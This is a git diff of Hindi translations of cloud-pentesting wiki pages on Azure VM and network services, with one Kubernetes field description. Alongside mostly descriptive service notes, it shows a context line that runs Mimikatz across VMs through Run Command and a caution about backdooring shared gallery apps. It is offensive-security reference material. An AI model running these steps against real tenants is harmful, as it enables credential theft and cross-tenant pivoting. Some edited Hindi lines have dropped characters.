Azure वर्चुअल मशीनें (VMs) लचीली, मांग पर **क्लाउड-आधारित सर्वर हैं जो आपको Windows या Linux ऑपरेटिंग सिस्टम चलाने की अनुमति देती हैं** ये आपको भौतिक हार्डवेयर प्रबंधित किए बिना अनुप्रयोगों और कार्यभार को तैनात करने की अनुमति देती हैं। Azure VMs को विभिन्न CPU, मेमोरी और स्टोरेज विकल्पों के साथ कॉन्फ़िगर किया जा सकता है ताकि विशिष्ट आवश्यकताओं को पूरा किया जा सके और Azure सेवाओं जैसे वर्चुअल नेटवर्क, स्टोरेज और सुरक्षा उपकरणों के साथ एकीकृत किया जा सके।
### सुरक्षा कॉन्फ़िगरेशन
@@ -21,14 +21,14 @@ Azure वर्चुअल मशीनें (VMs) लचीली, मां
- **मानक सुरक्षा**: यह डिफ़ॉल्ट सुरक्षा प्रकार है जिसे किसी विशेष कॉन्फ़िगरेशन की आवश्यकता नहीं होती है।
- **विश्वसनीय लॉन्च**: यह सुरक्षा प्रकार बूट किट और कर्नेल-स्तरीय मैलवेयर के खिलाफ सुरक्षा को बढ़ाता है, जिसमें सुरक्षित बूट और वर्चुअल ट्रस्टेड प्लेटफ़ॉर्म मॉड्यूल (vTPM) का उपयोग किया जाता है।
- **गोपनीय VMs**: एक विश्वसनीय लॉन्च के शीर्ष पर, यह VM, हाइपरवाइज़र और होस्ट प्रबंधन के बीच हार्डवेयर-आधारित अलगाव प्रदान करता है, डिस्क एन्क्रिप्शन में सुधार करता है और [**अधिक**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**।**
- **प्रमाणीकरण**: डिफ़ॉल्ट रूप से एक नया **SSH कुंजी उत्पन्न किया जात है**, हालांकि एक सार्वजनिक कुंजी का उपयोग करना या पिछले कुंजी का उपयोग करना संभव है और डिफ़ॉल्ट उपयोगकर्ता नाम **azureuser** है। एक **पासवर्ड** का उपयोग करने के लिए कॉन्फ़िगर करना भी संभव है।
- **प्रमाणीकरण**: डिफ़ॉल्ट रूप से एक नया **SSH कुंजी उत्पन्न क जात है**, हालांकि एक सार्वजनिक कुंजी का उपयोग करना या पिछले कुंजी का उपयोग करना संभव है और डिफ़ॉल्ट उपयोगकर्ता नाम **azureuser** है। एक **पासवर्ड** का उपयोग करने के लिए कॉन्फ़िगर करना भी संभव है।
- **VM डिस्क एन्क्रिप्शन:** डिस्क डिफ़ॉल्ट रूप से एक प्लेटफ़ॉर्म प्रबंधित कुंजी का उपयोग करके आराम में एन्क्रिप्ट की जाती है।
- **होस्ट पर एन्क्रिप्शन** सक्षम करना भी संभव है, जहां डेटा को स्टोरेज सेवा में भेजने से पहले होस्ट में एन्क्रिप्ट किया जाएगा, जिससे होस्ट और स्टोरेज सेवा के बीच एंड-टू-एंड एन्क्रिप्शन सुनिश्चित होता है ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **NIC नेटवर्क सुरक्षा समूह**:
- **कोई नहीं**: मूल रूप से हर पोर्ट खोलता है
- **बुनियादी**: HTTP (80), HTTPS (443), SSH (22), RDP (3389) इनबाउंड पोर्ट को आसानी से खोलने की अनुमति देता है
- **उन्नत**: एक सुरक्षा समूह का चयन करें
- **बैकअप**: **मानक** बैकअप (एक दिन में एक) और **उन्नत** (एक दिन में कई) सक्षम करना संभव है
- **बैकअप**: **मानक** बैकअप (एक दिन में एक) और **उन्नत** (प्रतिदिन कई) सक्षम करना संभव है
- **पैच समन्वय विकल्प**: यह चयनित नीति के अनुसार VMs में स्वचालित रूप से पैच लागू करने की अनुमति देता है, जैसा कि [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) में वर्णित है।
- **अलर्ट**: जब VM में कुछ होता है तो ईमेल या मोबाइल ऐप द्वारा स्वचालित रूप से अलर्ट प्राप्त करना संभव है। डिफ़ॉल्ट नियम:
- CPU प्रतिशत 80% से अधिक है
@@ -144,15 +144,15 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Site Recovery
[**दस्तावेज़ों**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) से: साइट रिकवरी यह सुनिश्चित करने में मदद करती है कि व्यावसायिक अनुप्रयोग और कार्यभार आउटेज के दौरान चलते रहें। साइट रिकवरी **कार्यभार को दोहराती है** जो भौतिक और आभासी मशीनों (VMs) पर चल रहे हैं, एक प्राथमिक साइट से एक द्वितीयक स्थान पर। जब आपके प्राथमिक स्थान पर आउटेज होता है, तो आप एक द्वितीयक स्थान पर स्विच करते हैं, और वहां से अनुप्रयोगों तक पहुचते हैं। जब प्राथमिक स्थान फिर से चालू हो जाता है, तो आप वापस स्विच कर सकते हैं।
[**दस्तावेज़ों**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) से: साइट रिकवरी यह सुनिश्चित करने में मदद करती है कि व्यावसायिक अनुप्रयोग और कार्यभार आउटेज के दौरान चलते रहें। साइट रिकवरी **कार्यभार को** प्राथमिक साइट से द्वितीयक स्थान पर चलने वाले भौतिक और आभासी मशीनों (VMs) पर **प्रतिलिपि** करती है। जब आपके प्राथमिक साइट पर आउटेज होता है, तो आप द्वितीयक स्थान पर स्विच करते हैं, और वहां से अनुप्रयोगों तक पहुचते हैं। जब प्राथमिक स्थान फिर से चलने लगता है, तो आप वापस स्विच कर सकते हैं।
## Azure Bastion
Azure Bastion आपके आभासी मशीनों (VMs) के लिए सुरक्षित और निर्बाध **रिमोट डेस्कटॉप प्रोटोकॉल (RDP)** और **सिक्योर शेल (SSH)** एक्सेस को सीधे Azure पोर्टल के माध्यम से या एक जंप बॉक्स के माध्यम से सक्षम करता है। यह आपके VMs पर सार्वजनिक IP पते की आवश्यकता को **खत्म करता है**
Azure Bastion आपके आभासी मशीनों (VMs) के लिए सुरक्षित और निर्बाध **रिमोट डेस्कटॉप प्रोटोकॉल (RDP)** और **सिक्योर शेल (SSH)** एक्सेस को सीधे Azure पोर्टल के माध्यम से या एक जंप बॉक्स के माध्यम से सक्षम करता है। यह आपके VMs पर सार्वजनिक IP पते की आवश्यकता को **हटाकर**
Bastion एक उपनेट को **`AzureBastionSubnet`** के रूप में तैनात करता है जिसमें एक `/26` नेटमास्क होता है जिस VNet पर इसे काम करने की आवश्यकता होती है। फिर, यह **ब्राउज़र के माध्यम से आंतरिक VMs से कनेक्ट करने** की अनुमति देता है `RDP` और `SSH` का उपयोग करके, VMs के पोर्ट्स को इंटरनेट पर उजागर किए बिना। यह एक **जंप होस्ट** के रूप में भी काम कर सकता है।
Bastion एक उपनेट को **`AzureBastionSubnet`** के रूप में तैनात करता है जिसमें `/26` नेटमास्क होता है जिस VNet पर इसे काम करने की आवश्यकता होती है। फिर, यह **ब्राउज़र के माध्यम से आंतरिक VMs से कनेक्ट करने** की अनुमति देता है `RDP` और `SSH` का उपयोग करके, VMs के पोर्ट्स को इंटरनेट पर उजागर किए बिना। यह एक **जंप होस्ट** के रूप में भी काम कर सकता है।
आप अपनी सदस्यता में सभी Azure Bastion होस्टों की सूची बनाने और उनके माध्यम से VMs से कनेक्ट करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं:
आपी सदस्यता में सभी Azure Bastion होस्टों की सूची बनाने और उनके माध्यम से VMs से कनेक्ट करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:
{{#tabs}}
{{#tab name="az cli"}}
@@ -633,7 +633,7 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
नए एप्लिकेशन स्थापित करने के तरीके की जांच करें [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
> [!CAUTION]
> यह संभव है कि **व्यक्तिगत ऐप्स और गैलर को अन्य सब्सक्रिप्शन या टेनेंट के साथ साझा किया जाए**। जो बहुत दिलचस्प है क्योंकि यह एक हमलावर को एक एप्लिकेशन में बैकडोर डालने और अन्य सब्सक्रिप्शन और टेनेंट में पिवट करने की अनुमति दे सकता है।
> यह संभव है कि **व्यक्तिगत ऐप्स और गैलरियों को अन्य सब्सक्रिप्शन या टेनेंट्स के साथ साझा किया जाए**। जो बहुत दिलचस्प है क्योंकि यह एक हमलावर को एक एप्लिकेशन में बैकडोर डालने और अन्य सब्सक्रिप्शन और टेनेंट्स पर पिवट करने की अनुमति दे सकता है।
लेकिन **vm ऐप्स के लिए "मार्केटप्लेस" नहीं है** जैसे कि एक्सटेंशन के लिए है।
@@ -747,7 +747,7 @@ echo "Hello World" > /var/tmp/output.txt
```
### **कमांड चलाएँ**
यह सबसे बुनियादी तंत्र है जो Azure **VMs में मनमाने कमांड चलाने** के लिए प्रदान करता है। आवश्यक अनुमति है `Microsoft.Compute/virtualMachines/runCommand/action`
यह Azure द्वारा **VMs में मनमाने कमांड निष्पादित करने** के लिए प्रदान किया गया सबसे बुनियादी तंत्र है। आवश्यक अनुमति है `Microsoft.Compute/virtualMachines/runCommand/action`
{{#tabs }}
{{#tab name="Linux" }}
@@ -798,13 +798,13 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md
{{#endref}}
## बिना प्रमाणीकरण का उपयोग
## बिना प्रमाणीकरण का अभिगम
{{#ref}}
../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
{{#endref}}
## पोस्ट एक्सप्लोइटेशन
## पोस्ट शोषण
{{#ref}}
../../az-post-exploitation/az-vms-and-network-post-exploitation.md

View File

@@ -49,7 +49,7 @@ Select-Object Name, AddressPrefix
## नेटवर्क सुरक्षा समूह (NSG)
एक **नेटवर्क सुरक्षा समूह (NSG)** Azure वर्चुअल नेटवर्क (VNet) के भीतर Azure संसाधनों के लिए नेटवर्क ट्रैफ़िक को फ़िल्टर करता है। इसमें **सुरक्षा नियमों** का एक सेट होता है जो **इनबाउंड और आउटबाउंड ट्रैफ़िक के लिए कौन से पोर्ट खोलने हैं** को स्रोत पोर्ट, स्रोत IP, पोर्ट गंतव्य द्वारा इंगित कर सकता है और इसे एक प्राथमिकता सौंपना संभव है (जितन कम प्राथमिकता संख्या, उतनी ही उच्च प्राथमिकता)।
एक **नेटवर्क सुरक्षा समूह (NSG)** Azure वर्चुअल नेटवर्क (VNet) के भीतर Azure संसाधनों के लिए नेटवर्क ट्रैफ़िक को फ़िल्टर करता है। इसमें **सुरक्षा नियमों** का एक सेट होता है जो **इनबाउंड और आउटबाउंड ट्रैफ़िक के लिए कौन से पोर्ट खोलने हैं** को स्रोत पोर्ट, स्रोत IP, पोर्ट गंतव्य द्वारा इंगित कर सकता है और इसे एक प्राथमिकता सौंपना संभव है (जितन कम प्राथमिकता संख्या, उतनी ही उच्च प्राथमिकता)।
NSGs को **सबनेट और NICs** से जोड़ा जा सकता है।
@@ -141,13 +141,13 @@ Get-AzFirewall
{{#endtab }}
{{#endtabs }}
## Azure Route Tables
## Azure रूट टेबल
Azure **Route Tables** का उपयोग नेटवर्क ट्रैफ़िक के रूटिंग को नियंत्रित करने के लिए किया जाता है जो एक सबनेट के भीतर होता है। वे नियमों को परिभाषित करते हैं जो यह निर्दिष्ट करते हैं कि पैकेट्स को कैसे अग्रेषित किया जाना चाहिए, या तो Azure संसाधनों, इंटरनेट, या क विशिष्ट अगले हॉप जैसे कि एक वर्चुअल एप्लायंस या Azure फ़ायरवॉल की ओर। आप एक **सबनेट** के साथ एक रूट टेबल को जोड़ सकते हैं, और उस सबनेट के भीतर सभी संसाधन तालिका में रूट का पालन करेंगे।
Azure **रूट टेबल** का उपयोग नेटवर्क ट्रैफ़िक के रूटिंग को नियंत्रित करने के लिए किया जाता है। वे नियमों को परिभाषित करते हैं जो यह निर्दिष्ट करते हैं कि पैकेट्स को कैसे अग्रेषित किया जाना चाहिए, चाहे वह Azure संसाधनों, इंटरनेट, या किसी विशिष्ट अगले हॉप जैसे कि वर्चुअल एप्लायंस या Azure फ़ायरवॉल के लिए हो। आप एक **सबनेट** के साथ एक रूट टेबल को जोड़ सकते हैं, और उस सबनेट के भीतर सभी संसाधन तालिका में रूट का पालन करेंगे।
**उदाहरण:** यदि एक सबनेट में ऐसे संसाधन हैं जिन्हें निरीक्षण के लिए नेटवर्क वर्चुअल एप्लायंस (NVA) के माध्यम से आउटबाउंड ट्रैफ़िक को रूट करने की आवश्यकता है, तो आप एक रूट टेबल में एक **रूट** बना सकते हैं ताकि सभी ट्रैफ़िक (जैसे, `0.0.0.0/0`) को NVA के निजी IP पते की ओर अगल हॉप के रूप में पुनर्निर्देशित किया जा सके।
**उदाहरण:** यदि एक सबनेट में ऐसे संसाधन हैं जिन्हें निरीक्षण के लिए नेटवर्क वर्चुअल एप्लायंस (NVA) के माध्यम से आउटबाउंड ट्रैफ़िक को रूट करने की आवश्यकता है, तो आप एक रूट टेबल में एक **रूट** बना सकते हैं ताकि सभी ट्रैफ़िक (जैसे, `0.0.0.0/0`) को NVA के निजी IP पते र अगल हॉप के रूप में पुनर्निर्देशित किया जा सके।
### **Enumeration**
### **गणना**
{{#tabs }}
{{#tab name="az cli" }}
@@ -208,7 +208,7 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
## Azure सेवा एंडपॉइंट
Azure सेवा एंडपॉइंट आपके वर्चुअल नेटवर्क के निजी पते की जगह और आपके VNet की पहचान को Azure सेवाओं के साथ एक सीधे कनेक्शन के माध्यम से बढ़ाते हैं। सेवा एंडपॉइंट सक्षम करके, **आपके VNet में संसाधन सुरक्षित रूप से Azure सेवाओं से कनेक्ट कर सकते हैं**, जैसे Azure Storage और Azure SQL Database, Azure के बैकबोन नेटवर्क का उपयोग करते हुए। यह सुनिश्चित करता है कि **VNet से Azure सेवा तक का ट्रैफ़िक Azure नेटवर्क के भीतर रहता है**, जो एक अधिक सुरक्षित और विश्वसनीय मार्ग प्रदान करता है।
Azure सेवा एंडपॉइंट आपके वर्चुअल नेटवर्क के निजी पते की जगह और आपके VNet की पहचान को Azure सेवाओं के लिए एक सीधे कनेक्शन के माध्यम से बढ़ाते हैं। सेवा एंडपॉइंट सक्षम करके, **आपके VNet में संसाधन सुरक्षित रूप से Azure सेवाओं से कनेक्ट कर सकते हैं**, जैसे Azure Storage और Azure SQL Database, Azure के बैकबोन नेटवर्क का उपयोग करते हुए। यह सुनिश्चित करता है कि **VNet से Azure सेवा तक का ट्रैफ़िक Azure नेटवर्क के भीतर रहता है**, जो एक अधिक सुरक्षित और विश्वसनीय मार्ग प्रदान करता है।
**उदाहरण:**
@@ -237,31 +237,31 @@ Get-AzVirtualNetwork
{{#endtab }}
{{#endtabs }}
### सेवा एंडपॉइंट और प्राइवेट लिंक के बीच अंतर
### Service Endpoints और Private Links के बीच के अंतर
Microsoft [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints) में प्राइवेट लिंक का उपयोग करने की सिफारिश करता है:
Microsoft [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints) में Private Links का उपयोग करने की सिफारिश करता है:
<figure><img src="../../../../images/image (25).png" alt=""><figcaption></figcaption></figure>
**सेवा एंडपॉइंट:**
**Service Endpoints:**
- आपके VNet से Azure सेवा तक का ट्रैफ़िक Microsoft Azure बैकबोन नेटवर्क के माध्यम से यात्रा करता है, सार्वजनिक इंटरनेट को बायपास करता है।
- एंडपॉइंट Azure सेवा के लिए एक सीधा कनेक्शन है और VNet के भीतर सेवा के लिए एक प्राइवेट IP प्रदान नहीं करता है।
- सेवा स्वयं आपके VNet के बाहर से इसके सार्वजनिक एंडपॉइंट के माध्यम से अभी भी सुलभ है जब तक कि आप सेवा फ़ायरवॉल को ऐसे ट्रैफ़िक को ब्लॉक करने के लिए कॉन्फ़िगर नहीं करते।
- Endpoint Azure सेवा के लिए एक सीधा कनेक्शन है और VNet के भीतर सेवा के लिए एक निजी IP प्रदान नहीं करता है।
- सेवा स्वयं आपके VNet के बाहर से इसके सार्वजनिक endpoint के माध्यम से अभी भी सुलभ है जब तक कि आप सेवा फ़ायरवॉल को ऐसे ट्रैफ़िक को ब्लॉक करने के लिए कॉन्फ़िगर नहीं करते।
- यह सबनेट और Azure सेवा के बीच एक-से-एक संबंध है।
- प्राइवेट लिंक की तुलना में कम महंगा है।
- Private Links की तुलना में कम महंगा है।
**प्राइवेट लिंक:**
**Private Links:**
- प्राइवेट लिंक Azure सेवाओं को आपके VNet में एक प्राइवेट एंडपॉइंट के माध्यम से मैप करता है, जो आपके VNet के भीतर एक प्राइवेट IP पते के साथ एक नेटवर्क इंटरफेस है।
- Azure सेवा को इस प्राइवेट IP पते का उपयोग करके एक्सेस किया जाता है, जिससे यह ऐसा प्रतीत होता है जैसे यह आपके नेटवर्क का हिस्सा है।
- प्राइवेट लिंक के माध्यम से जुड़े सेवाओं को केवल आपके VNet या जुड़े नेटवर्क से एक्सेस किया जा सकता है; सेवा के लिए कोई सार्वजनिक इंटरनेट एक्सेस नहीं है।
- Private Link Azure सेवाओं को आपके VNet में एक निजी endpoint के माध्यम से मैप करता है, जो आपके VNet के भीतर एक निजी IP पते के साथ एक नेटवर्क इंटरफेस है।
- Azure सेवा को इस निजी IP पते का उपयोग करके एक्सेस किया जाता है, जिससे यह ऐसा प्रतीत होता है जैसे यह आपके नेटवर्क का हिस्सा है।
- Private Link के माध्यम से जुड़े सेवाओं को केवल आपके VNet या जुड़े नेटवर्क से एक्सेस किया जा सकता है; सेवा के लिए कोई सार्वजनिक इंटरनेट एक्सेस नहीं है।
- यह Azure सेवाओं या Azure में होस्ट की गई आपकी अपनी सेवाओं के लिए एक सुरक्षित कनेक्शन सक्षम करता है, साथ ही दूसरों द्वारा साझा की गई सेवाओं के लिए भी।
- यह आपके VNet में एक प्राइवेट एंडपॉइंट के माध्यम से अधिक बारीक पहुंच नियंत्रण प्रदान करता है, जबकि सेवा एंडपॉइंट के साथ सबनेट स्तर पर व्यापक पहुंच नियंत्रण की तुलना में।
- यह आपके VNet में एक निजी endpoint के माध्यम से अधिक सूक्ष्म पहुंच नियंत्रण प्रदान करता है, जबकि सेवा endpoints के साथ सबनेट स्तर पर व्यापक पहुंच नियंत्रण की तुलना में।
संक्षेप में, जबकि सेवा एंडपॉइंट और प्राइवेट लिंक दोनों Azure सेवाओं के लिए सुरक्षित कनेक्टिविटी प्रदान करते हैं, **प्राइवेट लिंक उच्च स्तर की अलगाव और सुरक्षा प्रदान करते हैं यह सुनिश्चित करके कि सेवाओं को सार्वजनिक इंटरनेट के बिना निजी रूप से एक्सेस किया जा**। दूसरी ओर, सेवा एंडपॉइंट सामान्य मामलों के लिए सेट अप करना आसान है जहां Azure सेवाओं के लिए सरल, सुरक्षित पहुंच की आवश्यकता होती है बिना VNet में प्राइवेट IP की आवश्यकता के।
संक्षेप में, जबकि Service Endpoints और Private Links दोनों Azure सेवाओं के लिए सुरक्षित कनेक्टिविटी प्रदान करते हैं, **Private Links एक उच्च स्तर की अलगाव और सुरक्षा प्रदान करते हैं यह सुनिश्चित करके कि सेवाओं को सार्वजनिक इंटरनेट के लिए उजागर किए बिना निजी रूप से एक्सेस किया जाता है**। दूसरी ओर, Service Endpoints सामान्य मामलों के लिए सेट अप करना आसान है जहां Azure सेवाओं के लिए सरल, सुरक्षित पहुंच की आवश्यकता होती है बिना VNet में एक निजी IP की आवश्यकता के।
## Azure Front Door (AFD) और AFD WAF
## Azure Front Door (AFD) & AFD WAF
**Azure Front Door** आपके वैश्विक वेब अनुप्रयोगों के लिए **तेज़ वितरण** के लिए एक स्केलेबल और सुरक्षित प्रवेश बिंदु है। यह **वैश्विक लोड बैलेंसिंग, साइट त्वरक, SSL ऑफ़लोडिंग, और वेब एप्लिकेशन फ़ायरवॉल (WAF)** क्षमताओं जैसे विभिन्न सेवाओं को एकल सेवा में **संयोजित** करता है। Azure Front Door उपयोगकर्ता के लिए **सबसे निकटतम एज स्थान** के आधार पर बुद्धिमान रूटिंग प्रदान करता है, जिससे प्रदर्शन और विश्वसनीयता सुनिश्चित होती है। इसके अतिरिक्त, यह URL-आधारित रूटिंग, कई साइट होस्टिंग, सत्र संबंधी अनुकूलता, और एप्लिकेशन स्तर की सुरक्षा प्रदान करता है।
@@ -269,9 +269,9 @@ Microsoft [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vne
**उदाहरण:**
कल्पना करें कि आपके पास एक वैश्विक रूप से वितरित अनुप्रयोग है जिसमें दुनिया भर में उपयोगकर्ता हैं। आप Azure Front Door का उपयोग करके **उपयोगकर्ता अनुरोधों को आपके अनुप्रयोग को होस्ट करने वाले निकटतम क्षेत्रीय डेटा ेंटर** की ओर रूट कर सकते हैं, जिससे विलंबता कम होती है, उपयोगकर्ता अनुभव में सुधार होता है और **WAF क्षमताओं के साथ वेब हमलों से इसकी रक्षा होती है**। यदि किसी विशेष क्षेत्र में डाउनटाइम होता है, तो Azure Front Door स्वचालित रूप से ट्रैफ़िक को अगल सबसे अच्छ स्थिति की ओर रूट कर सकता है, जिससे उच्च उपलब्धता सुनिश्चित होती है।
कल्पना करें कि आपके पास एक वैश्विक रूप से वितरित अनुप्रयोग है जिसमें दुनिया भर में उपयोगकर्ता हैं। आप Azure Front Door का उपयोग करके **उपयोगकर्ता अनुरोधों को आपके अनुप्रयोग को होस्ट करने वाले निकटतम क्षेत्रीय डेटा ेंद्र की ओर रूट कर सकते हैं**, जिससे विलंबता कम होती है, उपयोगकर्ता अनुभव में सुधार होता है और **WAF क्षमताओं के साथ वेब हमलों से इसकी रक्षा होती है**। यदि किसी विशेष क्षेत्र में डाउनटाइम होता है, तो Azure Front Door स्वचालित रूप से ट्रैफ़िक को अगल सबसे अच्छ स्थान पर रीरूट कर सकता है, जिससे उच्च उपलब्धता सुनिश्चित होती है।
### गणना
### Enumeration
{{#tabs }}
{{#tab name="az cli" }}
@@ -300,7 +300,7 @@ Azure Application Gateway एक **वेब ट्रैफिक लोड ब
**उदाहरण:**
एक परिदृश्य पर विचार करें जहाँ आपके पास एक ई-कॉमर्स वेबसाइट है जिसमें विभिन्न कार्यों के लिए कई उपडोमेन शामिल हैं, जैसे उपयोगकर्ता खाते और भुगतान प्रसंस्करण। Azure Application Gateway **URL पथ के आधार पर उपयुक्त वेब सर्वरों के लिए ट्रैफिक को रूट कर सकता है**। उदाहरण के लिए, `example.com/accounts` पर ट्रैफिक को उपयोगकर्ता खातों की सेवा की ओर निर्देशित किया जा सकता है, और `example.com/pay` पर ट्रैफिक को भुगतान प्रसंस्करण सेवा की ओर निर्देशित किया जा सकता है।\
एक परिदृश्य पर विचार करें जहाँ आपके पास एक ई-कॉमर्स वेबसाइट है जिसमें विभिन्न कार्यों के लिए कई उपडोमेन शामिल हैं, जैसे उपयोगकर्ता खाते और भुगतान प्रसंस्करण। Azure Application Gateway **URL पथ के आधार पर उपयुक्त वेब सर्वरों की ओर ट्रैफिक रूट कर सकता है**। उदाहरण के लिए, `example.com/accounts` पर ट्रैफिक को उपयोगकर्ता खातों की सेवा की ओर निर्देशित किया जा सकता है, और `example.com/pay` पर ट्रैफिक को भुगतान प्रसंस्करण सेवा की ओर निर्देशित किया जा सकता है।\
और **WAF क्षमताओं का उपयोग करके अपने वेबसाइट को हमलों से सुरक्षित करें।**
### **Enumeration**
@@ -331,7 +331,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
**उदाहरण:**
कल्पना करें कि एक कंपनी में अलग-अलग विभाग हैं जैसे बिक्री, मानव संसाधन, और विकास, **प्रत्येक के पास अपना खुद का VNet (स्पोक्स)** है। इन VNets को **साझा संसाधनों तक पहुच की आवश्यकता है** जैसे एक केंद्रीय डेटाबेस, एक फ़ायरवॉल, और एक इंटरनेट गेटवे, जो सभी **दूसरे VNet (हब)** में स्थित हैं। हब और स्पोक मॉडल का उपयोग करके, प्रत्येक विभाग **हब VNet के माध्यम से साझा संसाधनों से सुरक्षित रूप से कनेक्ट कर सकता है बिना उन संसाधनों को सार्वजनिक इंटरनेट पर उजागर किए** या कई कनेक्शनों के साथ एक जटिल नेटवर्क संरचना बनाए बिना।
कल्पना करें कि एक कंपनी में अलग-अलग विभाग हैं जैसे बिक्री, मानव संसाधन, और विकास, **प्रत्येक के पास अपना खुद का VNet (स्पोक्स)** है। इन VNets को **साझा संसाधनों तक पहुच की आवश्यकता है** जैसे एक केंद्रीय डेटाबेस, एक फ़ायरवॉल, और एक इंटरनेट गेटवे, जो सभी **दूसरे VNet (हब)** में स्थित हैं। हब और स्पोक मॉडल का उपयोग करके, प्रत्येक विभाग **हब VNet के माध्यम से साझा संसाधनों से सुरक्षित रूप से कनेक्ट कर सकता है बिना उन संसाधनों को सार्वजनिक इंटरनेट पर उजागर किए** या कई कनेक्शनों के साथ एक जटिल नेटवर्क संरचना बनाए बिना।
### Enumeration
@@ -368,7 +368,7 @@ Azure में एक साइट-से-साइट वीपीएन आ
**उदाहरण:**
एक व्यवसाय जिसका मुख्य कार्यालय न्यूयॉर्क में स्थित है, एक ऑन-प्रिमाइसेस डेटा सेंटर है जिसे Azure में अपने VNet से सुरक्षित रूप से कनेक्ट करने की आवश्यकता है, जो इसके वर्चुअलाइज्ड वर्कलोड्स को होस्ट करता है। एक **साइट-से-साइट वीपीएन सेटअप करके, कंपनी ऑन-प्रिमाइसेस सर्वरों और Azure VMs के बीच एन्क्रिप्टेड कनेक्टिविटी सुनिश्चित कर सकती है**, जिससे संसाधनों को दोनों वातावरणों में सुरक्षित रूप से एक्सेस किया जा सके जैसे कि वे एक ही स्थानीय नेटवर्क में हों।
एक व्यवसाय जिसका मुख्य कार्यालय न्यूयॉर्क में स्थित है, एक ऑन-प्रिमाइसेस डेटा सेंटर है जिसे Azure में अपने VNet से सुरक्षित रूप से कनेक्ट करने की आवश्यकता है, जो इसके वर्चुअलाइज्ड वर्कलोड्स को होस्ट करता है। एक **साइट-से-साइट वीपीएन सेटअप करके, कंपनी ऑन-प्रिमाइसेस सर्वरों और Azure VMs के बीच एन्क्रिप्टेड कनेक्टिविटी सुनिश्चित कर सकती है**, जिससे दोनों वातावरणों में संसाधनों को सुरक्षित रूप से एक्सेस किया जा सके जैसे कि वे एक ही स्थानीय नेटवर्क में हों।
### **गणना**
@@ -395,11 +395,11 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
## Azure ExpressRoute
Azure ExpressRoute एक सेवा है जो आपके ऑन-प्रिमाइसेस इन्फ्रास्ट्रक्चर और Azure डेटा ेंटर के बीच एक **निजी, समर्पित, उच्च-गति कनेक्शन** प्रदान करती है। यह कनेक्शन एक कनेक्टिविटी प्रदाता के माध्यम से बनाया जाता है, जो सार्वजनिक इंटरनेट को बायपास करता है और सामान्य इंटरनेट कनेक्शनों की तुलना में अधिक विश्वसनीयता, तेज गति, कम लेटेंसी और उच्च सुरक्षा प्रदान करता है।
Azure ExpressRoute एक सेवा है जो आपके ऑन-प्रिमाइसेस इन्फ्रास्ट्रक्चर और Azure डेटा ेंद्रों के बीच एक **निजी, समर्पित, उच्च-गति कनेक्शन** प्रदान करती है। यह कनेक्शन एक कनेक्टिविटी प्रदाता के माध्यम से बनाया जाता है, जो सार्वजनिक इंटरनेट को बायपास करता है और सामान्य इंटरनेट कनेक्शनों की तुलना में अधिक विश्वसनीयता, तेज गति, कम विलंबता और उच्च सुरक्षा प्रदान करता है।
**उदाहरण:**
एक बहुराष्ट्रीय निगम को **उच्च मात्रा के डेटा** और उच्च थ्रूपुट की आवश्यकता के कारण अपने Azure सेवाओं के लिए एक **संगत और विश्वसनीय कनेक्शन** की आवश्यकता होती है। कंपनी अपने ऑन-प्रिमाइसेस डेटा ेंर को Azure से सीधे कनेक्ट करने के लिए Azure ExpressRoute का विकल्प चुनती है, जिससे बड़े पैमाने पर डेटा ट्रांसफर, जैसे दैनिक बैकअप और वास्तविक समय डेटा एनालिटिक्स, को बेहतर गोपनीयता और गति के साथ सुगम बनाया जा सके।
एक बहुराष्ट्रीय निगम को **उच्च मात्रा के डेटा** और उच्च थ्रूपुट की आवश्यकता के कारण अपने Azure सेवाओं के लिए एक **सुसंगत और विश्वसनीय कनेक्शन** की आवश्यकता होती है। कंपनी अपने ऑन-प्रिमाइसेस डेटा ेंद्र को Azure से सीधे कनेक्ट करने के लिए Azure ExpressRoute का विकल्प चुनती है, जिससे बड़े पैमाने पर डेटा ट्रांसफर, जैसे दैनिक बैकअप और वास्तविक समय डेटा एनालिटिक्स, को बेहतर गोपनीयता और गति के साथ सुगम बनाया जा सके।
### **Enumeration**

View File

@@ -16,15 +16,15 @@
| Parameter | Description |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>एक विशेष सहायक समूह जो <strong>pod में सभी कंटेनरों</strong> पर लागू होता है। कुछ वॉल्यूम प्रकार Kubelet को <strong>उस वॉल्यूम के स्वामित्व को बदलने</strong> की अनुमति देते हैं:<br>1. स्वामित्व GID FSGroup होगा<br>2. सेटगिड बिट सेट है (वॉल्यूम में बनाए गए नए फ़ाइलें FSGroup द्वारा स्वामित्व होंगी)<br>3. अनुमति बिट rw-rw---- के साथ OR'd हैं यदि सेट नहीं है, तो Kubelet किसी भी वॉल्यूम के स्वामित्व और अनुमतियों को संशोधित नहीं करेगा</p> |
